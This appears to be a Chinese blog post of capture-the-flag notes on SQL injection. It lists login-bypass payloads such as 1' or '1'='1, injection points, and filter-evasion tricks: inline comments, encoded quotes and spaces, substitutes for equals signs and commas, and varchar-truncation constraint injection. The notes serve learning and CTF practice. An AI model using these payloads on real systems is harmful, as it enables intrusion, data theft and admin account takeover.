0%

CTF-SQL

CTF-SQL注入基础

万能密码:

1
1' or '1'='1

主要是逻辑or,返回true,密码正确。

  • burp需要使用+或%20代替空格

sql注入类型:数字型、字符串类型

  • sql语句中的括号不代表实际意义,主要用于优先级处理。

sql注入可能存在的位置:

1、URL提交参数,GET型

2、HTTP请求主体,POST型

3、请求头(cookie,user-agent,referer)

sql注入利用

1、获取数据库信息

2、获取系统命令执行shell

3、上传、下载服务器文件(webshell)等

技法:

联合注入、布尔盲注、延时注入、报错注入、堆叠注入、宽字节注入、二次注入、无列名注入等等。

CTF-SQL注入技巧

url中字符的特殊含义:

1、&表示get提交参数的分隔符,如果sql注入中将and替换成&&,要对&进行URL编码

1
&&->%26%26

2、#表示锚点,点击当前的链接会跳转到当前页面的某个位置,sql注入需要对#进行URL编码

1
#->%23

3、web站点默认访问index开头的页面,可以省略index.php

4、web站点默认端口使用80端口,可省略。若非80端口,不可省略。

绕过过滤姿势

1、常用注释符

1
2
3
4
5
--空格
--+
/*注释*/
在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执 行
#

2、大小写绕过

3、双写绕过

4、内联注释绕过

1
2
select * from users where id=1 union /*!select*/ 1,2,3;
加了感叹号,select会被执行。

5、单引号过滤

  • 十六进制绕过
  • char函数绕过
1
char(ascii)+char(ascii)+char(ascii)

6、空格过滤

  • 括号绕过

遵循查什么,从哪里,符合条件

1
select(id)from(users)where(id=1)
  • 注释符绕过空格
1
空格->/**/
  • 反引号绕过

由于数据库默认识别关键字,不需要加引号,但是无法自动识别用户定义的表名和字段名,此时使用反引号指定。

1
select*from`users`where`id`=1
  • 其他空白字符
1
2
3
4
5
6
# ascii table:
# TAB水平 09 url编码 %09
# 新行 0A %0A
# 新页 0C %0C
# 回车 0D %0D
# TAB垂直 0B %0B

7、等号过滤

1
like或rlike
1
2
between and
select * from users where id between 1 and 1
1
regexp代替=

8、逗号绕过

1
2
select substr('users',1,1)=
select substr('users' from 1 for 1)
1
2
3
4
select * from users limit 0,1
select * from users limit 1 offset 0;
第一个参数不为0,从1开始
第二个参数为偏移量

9、过滤了运算比较符号

1
2
3
4
5
6
7
8
greatest(n1,n2,n3..)返回最大值

greatest(ascii(substr(database(),1,1)),1)=97;

least(n1,n2,n3..)返回最小值

strcmp(str1,str2)
所有字符串相等返回0,小于返回-1,大于返回1

约束注入

一般注入点存在注册的时候,对于管理员密码的任意修改

关键函数varchar(),当sql语句语句超过varchar定于的最大长度,并且没有唯一键约束。

1
admin                           x

SQL语句设置和取消唯一键约束:

取消唯一键

1
alter table admin drop unique username

设置唯一键

1
alter table admin add unique (username)
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道